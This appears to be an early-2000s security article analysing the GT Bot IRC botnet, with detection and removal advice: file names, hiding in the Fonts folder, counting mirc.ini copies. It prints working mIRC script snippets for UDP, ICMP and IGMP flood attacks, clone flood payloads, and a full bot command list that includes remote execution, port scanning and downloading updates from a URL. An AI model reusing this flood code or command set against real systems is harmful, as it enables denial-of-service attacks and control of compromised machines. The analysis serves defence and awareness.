|
GT
Bot (Global Threat)
GT Bot (Global Threat) first appeared nearly two years
ago and was written by Sony, mSg and DeadKode. The GT Bot uses the
legitimate mIRC program as its main core and a program called HideWindow
to make mIRC invisible to the host computer. mIRC is scripted to
create an IRC Bot which responds to remote commands from the Bot
Master. When run mIRC loads the scripts and the HideWindow program
and connects to the predetermined IRC server and channel to await
commands. As the scripts are open source it is very easy to rewrite
or edit them with your own variations and custom command triggers.
This is done often and accounts for the wide amount of variants
of this bot. Some have undergone simple edits and others are far
more creative with additional scripts and routines, some even have
encryption added to protect logins and access to commands. In some
places GT Bot has also been referred to as Aristotles or IRC Trojan
Aristotles, this is still GT Bot though and was called Aristotles
as a variant that was widespread was controlled by the nickname
Aristotles. The most popular variant of GT Bot uses the filenames
that are listed below.
temp.exe (This is mIRC32.exe)
temp2.exe (This is HideWindow)
mirc.ini (The main *.ini)
mirc2.ini (script)
mirc3.ini (script)
script.ini (script)
pr.ini (script)
gates.txt (script)
temp.scr (nicknames list)
WHVLXD.DAT (registry key info)
WHVLXD.EXE (registry key creator)
A more complete list of known GT Bot filenames that
will help indicate a possible infection here
As drawn attention to earlier, many variants exist
and it is all too easy to change the names of the files and the
filename extensions. One filename that endures through nearly every
version is MIRC.INI as by default mIRC needs this file to load properly
and if it does not find one, it would create a new one which would
stop the Bot from launching. A search of the hard drive for mirc.ini
would reveal the location of each copy of mIRC as the two must both
exist in the same directory. If you have one version of mIRC installed
and a search reveals two mirc.ini files, it is possible you have
a GT Bot infection. Simply counting the number of mirc.ini files
against the number of mIRC versions you can account for can reveal
a lot of these infections easily. mIRC can be hex edited to look
for a different file other than mirc.ini when it is loaded and I
have seen this done in a few cases and have examples of this variant.
A very small percentage have done this, so the mirc.ini search is
always the best initial method to use when looking for a GT Bot
infection. One example of a bot that had been hex edited to load
a file other than mirc.ini used the filename slave.fnt along with
many other files with the made up *.FNT extension. I will be listing
a lot of default names that these files create so that it provides
a useful reference when searching. However, this is not a fixed
and set in stone guide, because names and extensions are so easy
to change and are often changed.
GT Bots are also installed into various paths, with
the most popular ones being the Windows and the Windows/System directories.
Some of the smarter versions of GT Bot hide in the C:\Windows\Fonts
directory and for a good reason. If you opened the C:\Windows\Fonts
directory in normal view, you would not see executables, scripts
or other directories in there. It has become a popular hiding place
for GT Bot. Windows Explorer would show these hidden files or directories
and so would MSDOS mode. I will provide examples below.
To find hidden directories in the fonts directory,
go to the C:\ drive and open the Windows directory and then open
the Fonts directory. Leaving Fonts as the focused Window on the
top, click on the Windows Start button and go to Run. A run prompt
will appear and you need to type the word "command" without
the quotes into the box and click OK. You should see an MSDOS prompt
window appear showing C:\Windows\Fonts>.
Now type "DIR/P/W" without
the quotes and you will see a directory listing. Look closely for
names in [ ] as these indicate directories. You should see [
. ] and [ .. ] which can be
disregarded, but beware of any other directories in there. In the
illustration below, you will see [ GTBot ]
which was a directory I created in there as an example by doing
"mkdir GTBot" Often with
GT Bot infections a directory called FONT will exist inside the
real Fonts directory which is where the Bot is often hidden. To
access this in a normal view go to Start and then Run and type the
full path. For example C:\Windows\Fonts\GTBot
and click OK and it will open that directory. A lot of the files
will be hidden files, so it is wise to use folder options to show
hidden and system files and file extensions for known file types.
Some bots are a little more devious and will create a directory
inside of Fonts with a name like VerdanaLarge.ttf so at a quick
glance, it looks like a font file, but the [
] around the name will always give it away as a directory
and you should take note of this. Images 1
| 2
To enable view all files and extensions, click
on Start then Settings and then Folder Options.
see figure1 The Folder Options window should then appear see figure2
Click on View the centre one of the three tabs. Then check the Show
All Files radio button and uncheck the Hide file extensions for
known types check box.
If a GT Bot is found it can be dealt with in a few
ways. One of which is to use a process viewer and kill the hidden
processes that it is running and then delete all of the files. Alternatively,
a Trojan scanner will sometimes detect some of the files and remove
them. Remember, as GT Bot is so widespread and easy to edit, many
variants will exist that could not possibly be detected by standard
signature file scanning and this is why the use of a process monitor
is always by far the best method from my own experiences in dealing
with dozens of these GT Bots.
When GT Bots connect to IRC, they are usually logged
into by their Master who will then issue them with commands.You
will get a clearer picture of this, by looking at the screen captures
[URL] which show various activity from spamming and flooding to
all out DDoS attacks. A lot can be learned about the structuring
of BotNets, by observation if you are able to track them down. Typically,
GT BotNets can be traced in only a matter of minutes by reading
the script files after the Bot package has been executed and extracted.
All of the connection information is within the scripting and often
in the remote.ini. The IRC server address which is usually a dynamic
address, channel to join the nickname ident and real name criteria
for the Bot to assume when executed. Dynamic addresses are often
used, so BotNets can be redirected to other IRC servers and I have
explained more about Dynamic addresses [here URL] because they are
relevant to all types of bots. On IRC servers that are owned and
operated by the BotNet Master, great lengths are often taken in
order to hide the channel that the Bots join and to secure it from
curious people accidentally finding or stumbling across it.
Often, channel names are used, which contain special
characters such as #Ãßÿ¥¤¢¿øùô
with a channel key that again uses special characters like ¥ðæÅÞ
. So to join the channel you would have to type /join #Ãßÿ¥¤¢¿øùô
¥ðæÅÞ which is /join <#chan>
<key>. I explain IRC modes and what they do with more relevant
information [hereURL] as again it applies to all genre of Bots.
The IRCD (IRC Server Software) of choice is usually Unreal IRCD
[URL http://www.unrealircd.com] as it is easy to set up and configure
and has some rather unique modes unavailable in other similar IRCD
software, modes that include +u which hides the user nicknames list
from anyone that joins the channel, giving the appearance that the
channel is completely empty and host masking in order to stop a
person from obtaining
IP addresses. Even if the channel had several hundred Bots in it,
they would remain invisible, unless you know the workarounds which
I describe in the IRC modes section.
Once logged into, the Bots can be commanded with trigger
commands sent to the IRC channel. The bot will normally respond
to certain trigger words that the script is monitoring the channel
for. For example, here is a snippet of code from a GT Bot and an
explanation of what it does.
if ($1 == !icqpage) { if ($2
== $null) { /msg # Error/Syntax:(!icqpage from subject body to)
| halt } { .set %icqfrom $2- | .set %icqsubject $3- | .set %icqbody
$4- | .set %icqto $5 |
.sockclose mICQ* | .timer 1 3 .sockopen mICQ wwp.icq.com 80 } }
When a Bot Master sends the text "!icqpage from_me
the_subject a_pager_for_you 111111111111" the Bot will open
a connection to wwp.icq.com on remote port 80
and send that string of information and even prompt the user if
they mis-entered the information. Each time that command is sent,
ICQ account 111111111111 would get one WWW Pager from each Bot.
Several hundred Bots doing this repeatedly, would generate quite
a huge flood of these pagers. At the receiving end, they can easily
all be closed all at once or added to ignore, but it is still somewhat
annoying to the target. Worse are the DDoS attacks these can create,
with various different types of built in attacks. I will briefly
try and explain some of them below.
Packet Of Death : This piece of code generates UDP
packets to random ports in the range 1000 - 6669 of user inputted
size and amount "!packet 10.0.01 9999 3000" would attempt
to send 9999 bytes of data 3000 times to IP Address 10.0.01 on random
ports between the ranges of port 1000 to port 6669. Once again,
if the information is added incorrectly, the GT Bot will message
the channel and report the correct syntax to use. When the attack
has finished, the GT Bot will message the Master that it has completed
it's task and is ready to accept further orders.
alias packetofdeath {
if ($3 = $null) { notice $nick Error Please use !packet address
size amount | halt }
if ($chr(46) !isin $1) || ($2 !isnum) || ($3 !isnum) { notice $nick
Error Please use !packet address size amount | halt }
if ($remove($1,$chr(46)) !isnum)
{ notice $nick Error no letters may be contained in the ip | unset
%packet.* | halt }
.notice $nick Now Packeting $1 with $2 bytes $3 times
set %packet.ip $1
set %packet.bytes $2
set %packet.amount $3
set %packet.count 0
set %packet.port $rand(1,6) $+ $rand(0,6) $+ ($rand(0,6)
$+ $rand(0,9)
:start
if (%packet.count >= %packet.amount) { sockclose packet | unset
%packet.* | .notice $nick Packeting has completed | halt }
inc %packet.count 1
/sockudp -b packet 60 %packet.ip %packet.port %packet.bytes
%packet.bytes
goto start
ICMP an ICMP attack allowing variable sizes of packets
and amounts which uses writes and runs a VBS file that then runs
PING.EXE with parameters. This piece of code, on command, sends
a ping flood of user definable size and amount to the target IP
Address. As you can most likely imagine, it hardly takes a genius
to figure out that many machines sending a lot of malicious traffic,
can easily cause chaos and take down high bandwidth targets very
effectively, even if they are denying the ICMP at the router. This
has the effect like someone snorkel diving. If your snorkel becomes
full of water, you can close your mouth to stop yourself swallowing
the water but you still cannot breathe.
This form of attack, is generally referred to as a
bandwidth saturation attack, because it stops any useful data from
getting in or out as it completely fills the pipes. When this command
is run, it removes icmp.vbs if it exists and writes a new file called
icmp.vbs which it will then run. Once icmp.vbs has been run, it
in turn runs PING.EXE with the parameters
"PING -N <Number of
Packets> -L <Size in Bytes> -W 0 <IP Address of Target>"
The Parameter -W is set at 0 which is timeout to wait
for a reply before sending the next ping echo request, meaning it
will send a constant stream instead of waiting for a reply to the
last echo. See image here
To this form of attack, a firewall would stop the
Pings reaching the machine and the machine would run normally behind
the firewall unaffected by the attack only with no real communication
with the Internet, effectively silenced or offline to anybody trying
to access it remotely, which if it is a machine providing web services,
such as a website, it can be catastrophic financially to a business
with the web site completely unaccessible. It might as well be switched
off or unplugged from the network, because the attack rages on.
Most DDoS attacks die out eventually, usually when the attacking
machines go offline or the owner realizes that they are attacking
someone. Of course, attacks such as this, can be successfully filtered
upstream of the target by the Internet Service or Upstream Provider,
as long as the specific attack can be identified and a ruleset crafted
for it.
It would be worth checking any machine for the existence
of ICMP.VBS to make sure it is not taking part in malicious attacks.
if ($1 == !icmp) { if ($2 ==
$null) { /msg # E rror/Syntax:(!icmp ip packetsize howmany, ie:
!icmp 127.0.0.1 2000 1000) | halt }| .remove icmp.vbs | .write icmp.vbs
Set src3 =
CreateObject("Wscript.shell") | .write icmp.vbs src3.run
"command /c ping -n $4 -l $3 -w 0 $2 ",0,true | .run icmp.vbs
}
IGMP is an attack that uses a third party DOS based
IGMP tool to send malicious Fragmented IGMP Packets to the target
machine. This routine is almost identical to the above, only it
runs a third party tool called IGMP.EXE which has preset parameters
and only needs the IP address to be inputted. Fragmented IGMP packets
will often cause un-patched Windows 98 users to BSoD (Blue Screen
of Death) or in some cases cause their computer to force reboot.
This form of attack will again saturate bandwidth, even if the target
is protected from IGMP Protocol Packets. As shown above, a search
for IGMP.VBS and IGMP.EXE is always worthwhile to make sure that
the machine is not being made to send malicious traffic to third
parties.
if ($1 == !igmp) { if ($2 ==
$null) { /msg # Error/Syntax:(!igmp ip.here) | halt } | .remove
igmp.vbs | .write igmp.vbs Set src3 = CreateObject("Wscript.shell")
| .write igmp.vbs src3.run "command /c igmp $2 ",0,true
| .run igmp.vbs }
Other similar attacks that are often included are
Pepsi, Shiver, Fraggle and ATH0 (Aimed at machines with dialup connection.
AT H & 0 are the commands to hang up the modem "disconnect")
The GT Bot is also used very largely to attack other
IRC Networks by flooding channels with huge amounts of text or messages
to individual users. A lot of these attacks, on a small scale can
be ignored, but on a large scale they cause wide scale IRC Server
disruption and in many instances with lower bandwidth providers
will down the whole server and any others running on the same network.
IRC.DAL.NET arguably the largest IRC Chat Network
have been plagued with many different genre of these GT Bot as well
as many other varieties. They have a dedicated team of IRC Operators
forming the DALnet Exploits Team which work almost full time, dealing
with BotNets and other malicious traffic. DALnet currently boasts
over 600,000 registered users and over 80,000 concurrent chatters.
[http://www.dal.net/index.php3]
We have many times had the pleasure of working closely
with the DALnet Exploits team in the role of consultant, to examine
new BotNets and make sense of what the thing actually is and does
and how it gets it's instructions and what steps could be taken
to get rid of it and deter more from arriving. This has given me
much opportunity to further my studies of BotNet structuring, protocol
and behavior and allowed me to see possible solutions
to certain problems. Channels are generally secured and closed off
to stop more Bots from joining or to stop people from exploiting
these infected machines. We also interviewed a few members of DALnet
Exploits Team and you can read what they had to say about the problem
from their own experiences.
| Fruit^Loop | Barbara
| Melech |
DALnet has a responsible attitude towards exploits
and feel that prevention is always better than cure and educating
the users is by far the best policy they could possibly adopt. Much
of the work that the Exploits Team carry out is confidential and
I will not be discussing the techniques that are adopted to detect
exploit channels or the policies that are in force to prevent exploited
hosts from connecting. DALnet has many times been flooded by CLONES
(Bots spawning more offspring by multiplying themselves)
If a BotNet of 200 GT Bots created 5 clones each to
join an IRC Server that would generate a total of 1000 connections.
Most small IRC Servers allow 256 simultaneous connections up to
a maximum of 1024. A large amount of this form of traffic rapidly
uses all of the available ports and in a lot of cases the whole
lot hitting almost all at once will stall the whole Server. GT Bot
often enter an IRC in huge amounts and then join target channels
and flood them with endless repetitive data, which causes normal
users to become disconnected or their IRC client to freeze, because
it cannot process the rapidly scrolling flood of garbage data fast
enough. These kinds of floods often run up to 150 kbps of data through
the IRC Server and will often incur the owner of the free service
penalties for extra bandwidth consumption.
If IRC Servers are repeatedly attacked, the hosting
company will often terminate the account, which is really a case
of the victim being further victimized, but the hosting company
does have a responsibility to it's other users to maintain a reasonable
level of useful service. In the case of DALnet, many IRC Servers
were de-linked from the network, after a torrent of different attacks
as the Administrators could not cope with the constant deluge of
packets and clone floods.
A variant of GT Bot was in the process of creation
by BootError with a client to control it. The application was never
actually completed or distributed, but it caused quite a stir when
it was suggested that it might be used to take down DALnet here
Followups to the incident can be found here
reporting the arrest of the 16 year old BootError by the FBI concerning
the Gods Wrath affair. No charges have actually been brought against
BootError as of yet even after the several month investigation although
it is still pending. It was widely covered by the media at the time
and also widely exaggerated, that it was a scheme to take down the
entire Internet.
A few hundred or even a few thousand GT Bots can certainly
do an awful lot of damage, but to take down the whole Internet is
about a million times exaggerated. Given that this tool had but
one day to be spread, it would be a near impossibility and you would
stand more chance of winning the lottery 3 times consecutively than
seeing it happen.
From my own personal studies of BotNets, I have seen
many evolve and grow from nearly nothing, because I have sometimes
found them within hours of their first being created. By far, the
most successful and largest BotNets that have grown the most rapidly,
have been ones that exploited some other exploit, by acting like
a Worm or infection of insecure Windows 2000 IIS Servers (Internet
Information Server) or the infection of hosts with existing Trojan
infections, such as SubSeven. [Interview with mobman the SubSeven
Author here URL] Below is a paste of some of the garbage data that
Bot FloodNets often send to IRC channels and users. If you can imagine
this data being sent constantly over and over again by a large amount
of Clones, until the attack is called off or the IRC Server goes
offline.
On larger networks such as DALnet, server floods are
detected and channel or server flood protection is automatically
activated to allow IRC Operators the chance to try and get on top
of the attacks and disconnect the rogue attacking machines from
the network and implement bans to stop the same host from reconnecting.
This is why gates.txt is often an inclusion with GT Bot. Gates.txt
is a list of port 1080 (Wingate Proxies) which clones are often
loaded onto and fast *.EDU hosts can often produce very large numbers
of these clones.
Pure
Pewp
/timer 1 5 /sockwrite -n $sock(clone*,%cc) PRIVMSG $2
p e w p p e w p p e w p p e w p p e w p p e w p p e w p p e w p
p e w p p e w p p e w p p e w p p e w p p e w p p e w p p e w p
p e w p p e w p p e w p p e w p p e w p p e w pp e wp p e w p p
e w p p e w p p e w p p e w p p e w p p e w p p e w p p e w p p
e w p p e w p p e w p p e w p p e w p p e w p p e w p p e w p p
e w p p e w p p e w p
Death by Math
/timer 1 16 /sockwrite -n $sock(clone*,%cc) PRIVMSG
$2 ½ ¼ ½ ¾ ½¼ ½¾
½ ¼ ½ ¾ ½¼ ½¾
½ ¼ ½ ¾ ½¼ ½¾½
¼ ½ ¾ ½¼ ½¾ ½
¼ ½ ¾ ½¼ ½¾ ½
¼ ½ ¾ ½¼ ½¾ ½
¼ ½ ¾ ½¼ ½¾ ½
¼ ½ ¾ ½¼ ½¾ ½
¼ ½ ¾ ½¼ ½¾ ½
¼
½ ¾ ½¼ ½¾ ½ ¼
½ ¾ ½¼ ½¾ ½ ¼
½ ¾ ½¼ ½¾ ½ ¼
½ ¾ ½¼ ½¾ ½ ¼
½ ¾ ½¼ ½¾ ½ ¼
½ ¾ ½¼ ½¾ ½ ¼
½ ¾ ½¼ ½¾
GT
Special
/timer 1 22 /sockwrite -n $sock(clone*,%cc) PRIVMSG $2
3GT 4SP E C I AL 12 3GT 4SP E C I AL 3GT4SP E C I AL 12 3GT 4SP
E C I AL 3GT
4SP E C I AL 12 3GT 4SP E C I AL 3GT4SP E C I AL 12 3GT 4SP E C
I AL 3GT4SP E C I AL 12 3GT 4SP E C I AL 3GT4SP E C I AL 12 3GT
4SP E C I AL 3GT4SP E C I AL 12 3GT 4SP E C I AL 3GT4SP E C I AL
12 3GT 4SP E C I AL 3GT4SP E C I AL 12 3GT 4SP E C I AL 3GT
Often BNC (Bounce For IRC) is used to load clones
onto IRC Networks and works in a very similar way to loading clones
via a WinGate. This is done to evade various bans, which may be
in effect and to be able to reconnect clients from banned hosts
or domains.
These bots have nearly the same capability as common
middle of the range Trojans and can get various information about
the system it is installed to and output it to an IRC channel. An
example can be seen below of a version that we tested on one of
our laboratory machines.
Info Date:[Monday September
10 2001] Time:[09:42 pm] OS:[Windows98] UpTime:[55mins 36secs] Current-URL:[http://pv1fd.pav1.hotmail.msn.com/cgi-
bin/HoTMaiL?
curmbox=F000000001&a=853e1cbe0240dc4d970aac200fec8216&_lang=EN]
Name: LockDownLaboratory()ICQ:[1111111111.uin] Key[H922W2R887TH2KDDPCP9F8FDH]
ICQ Number and Windows product key edited for security
purposes.
Other information can also be easily gathered including
size of logical drives, space used and remaining space. Connection
type and up and down speed available ram and cpu speed. This is
usually done by adding ready made *.dll files such as, moo.dll or
info.dll to the package and calling the *.dll and outputting the
result to the Bot channel. Many bots also search for media files
such as,*.mpg *.mpeg*.rm *.ram *.mp3 and serve on IRC as fileservers
or can just open an fserv on drive C:\ or any other available drive.
(FServ is the IRC equivalent to FTP only it is a read only service)
The ability ro delete or run commands and files is
also usually an inclusion in GT Bot and many also have a Web Downloader
included so it can be run on command and fetch a predetermined update
or new version and then install it. Some have the ability to write
new scripts, so all the Master has to do is give the GT Bot a new
script to load by pasting it line by line into the channel. The
Bot will then write the script and it can be loaded and the new
added commands become accessible.
GT Bot is often used to scan for Trojan compromised
hosts and then outputs the IP Address of any hosts found into the
channel. Some even go as far as to connect to SubSeven infections
and make them updated from the web with a GT Bot which once successfully
downloaded, will be run and will remove the SubSeven infection and
replace it.
Conclusion
It can be safely concluded that the spread of these
Bots and the number of variants is set to increase significantly
in the next year or so, until the public as a whole becomes more
aware of the threat and takes proper action to avoid infection.
With the increase in the number of BotNets there will also be an
increase in the number of DDoS attacks reported as the two go hand
in hand together. It is evident that awareness and education is
the best policy that can be adopted.
Some of the standard commands from GT Bot can be seen
below.
!portredirect
!portredirect help
!portredirect add <localport> <remotehost|ip> <remoteport>
!portredirect stop <localport>
!portredirect stats
!pfast
usage: (udp flood)
!pfast stop
!pfast <number of packets> <dest host> <dest port>
!var
usage:
!var <mirc internal variable>
!stopscan
no usage, stops all scans.
!scan
usage:
!scan <ip.*> <port>
!scan 1.1.1.* 31337
!quit
(will make mirc /quit if the address of the user = %master)
usage:
!quit <msg>
!fileserver.access
no usage, if the the address of the user = %master, then they can
spawn an fserve from the root of C:\.
!up
attempts to op the $nick in the current channel.
!exit
masteraddy, then the client will exit.
!max.load
usage:
sets the maximum number of clones.
!max.load <number>
!mode
usage:
sets a mode on a channel or nick.
!mode <#channel|nick> <+|-|smkiplnb> <address>
!voiceme
no usage, attempts to get voice on the current channel.
!down
no usage, attempts to deop, and voice on the current channel.
!avoice
usage:
adds/removes a nick from the autovoice list.
!avoice <add|del> <nick>
!aop
usage:
adds/removes a nick from the autoop list.
!aop <add|del> nick
!add.user
usage:
adds a user at level 10, if $address matchs %master.
!add.user <nick>
!add.alias
usage:
attempts to add an alias for mirc.
!add.alias <new alias>
!rem.user
usage:
removes a user from level 10, if $address matchs %master.
!rem.user <nick>
!packet
usage:
starts a denial of service (ping.exe) attack on a specified ip,
if $address matchs %master.
!packet <ip> <number>
!clone.status
no usage, provides statistics on the number of clones currently
loaded.
!jump-server
tells the client to jump irc server if the $address matchs %master.
usage:
!jump-server <server> <port>
!add.server
tells the client to add an irc server to its server list, if the
$address matchs %master.
usage:
!add.server <host|ip> [port] [password]
!server.list.clear
no usage, tells the client to remove the server list (servers.txt),
if the $address matchs %master.
!reload!
no usage, tells the client to reconnect to the current irc server
in 15seconds, if the $address matchs %master.
!wingate.load
no usage, loads a wingate floodnet using the wingates in gates.txt.
!join
usage:
!join <#channel>
!part
usage:
!part <#channel>
!cycle
parts then joins a selected channel.
usage:
!cycle <#channel>
!op,!deop,!devoice,!voice
attempts to op/deop/devoice/voice a user in a certain channel.
usage:
!op <#channel> <nick>
!deop <#channel> <nick>
!devoice <#channel> <nick>
!voice <#channel> <nick>
!kick
attempts to kick a user from a certain channel.
usage:
!kick <#channel> <nick> <message>
!info
no usage, gives information about the client such as:
date, time, os (which type of windows), uptime, number of .mp3s,
number of .exe's, number of .mpg's, number of .asf's
and which url the client it currently viewing.
!kick/ban
attempts to kick and ban a user from a certain channel if the $address
matchs %master.
usage:
!kick/ban <#channel> <nick> <message>
!clone.flood.ctcp.all
attempts to flood a user|channel with ctcp requests.
usage:
!clone.flood.ctcp.all <#channel|nick>
!clone.flood.ctcp.version
attempts to flood a user|channel with ctcp version requests.
usage:
!clone.flood.ctcp.version <#channel|nick>
!clone.flood.ctcp.ping
attempts to flood a user|channel with ctcp ping requests.
usage:
!clone.flood.ctcp.ping <#channel|nick>
!clone.flood.ctcp.time
attempts to flood a user|channel with ctcp time requests.
usage:
!clone.flood.ctcp.time <#channel|nick>
!clone.service.killer
no usage, attempts to flood ChanServ and NickServ by registering
random channels and nicknames.
!clone.load
attempts to load a set amount of clones on a selected server.
usage:
!clone.load <hostname|ip> <port> <number of clones>
!clone.load.random
attempts to load a certain amount of clones into a random server.
usage:
!clone.load.random <hostname|ip> <port> <number>
!clone.part,!clone.join
attempts to get the clones to join/part a certain channel.
usage:
!clone.part <#channel>
!clone.join <#channel>
!clone.dcc.chat,!clone.dcc.send
attempts to flood a user with dcc send's/chats
usage:
!clone.dcc.chat <nick>
!clone.dcc.send <nick>
!nick
attempts to change the nickname of the clones to <$2><random
number>
!nick <nickname>
!clone.join
attempts to get the clones to join a certain channel.
usage:
!clone.join <#channel> [key]
!msg
attempts to get the client to send a privmsg to a nick or channel.
usage:
!msg <#channel|nick> <text>
!clone.cycle
attempts to get all the clones to part/join a certain channel.
usage:
!clone.cycle <#channel>
!clone.msg
attempts to get the clones to send a privmsg to a nick or channel.
usage:
!clone.msg <#channel|nick> <text>
!clone.quit
attempts to make all the clones quit irc.
usage:
!clone.quit [message]
!clone.notice
attempts to make all the clones send a notice to a nick or channel
usage:
!clone.notice <#channel|nick>
!clone.nick.flood
no usage, attempts to get the clones to nickflood.
!clone.nick) { if ($2 == $null) { halt } | /clone
nick.this $2 }
!clone.kill
attempts to kill all the clones.
!clone.combo1,!clone.combo2,!clone.combo2,!clone.combo4,!clone.combo5,!clone.combo6,!clone.combo#,!clone.combo.word,!clone.combo.ultimate
various types of privmsg floods using bold and colour control characters.
!clone.c.flood
constant flood, sets a timer to continually flood a channel or nick.
!flood.stop
stops the above flood.
!super.flood
another flood type.
!super.flood.stop!
stops the above flood.
!ver
shows the version number of the "Remote flooder", in this
case version: 0.9.0.1
!credits
shows the credits, presumably the authors, in this case: DK,\mSg,Sony
!-
executes any command on the remote computer/mirc client if the $address
matchs %master.
!bnc
usage:
!bnc stats, shows statistics for the bnc.
!bnc log, starts logging to bnc.log if $address is %master.
!bnc start <port> <password>, starts a bnc on <port>
with <password>
!bnc stop <port>, kills the listening bnc on <port>
!bnc kill users, if $address is %master, it kills all listening
and active bnc's.
!bnc shutdown, if $address is %master, it shutsdown the bnc server.
!bnc list bnc, lists all the listening bnc ports.
!bnc list users, lists all the users currently using the bnc(s).
!bnc list servers, lists all connects to remote servers.
!icqpagebomb
usage:
floods a certain user(uin) on ICQ. via www.icq.com
!icppagebomb <uin> <amount> <email/name> <sub>
<message>
!login <interesting one>
usage:
"!login Wasszup!" adds your *!*ident@*.host.com as level
10.
"!login grrrr yeah baby!" sets you as %master
!portscan
usage:
!portscan <ipaddress> <startport> <endport>
!update
attempts to get an update from a webpage, if your address matchs
%master.
usage:
!update <url>
|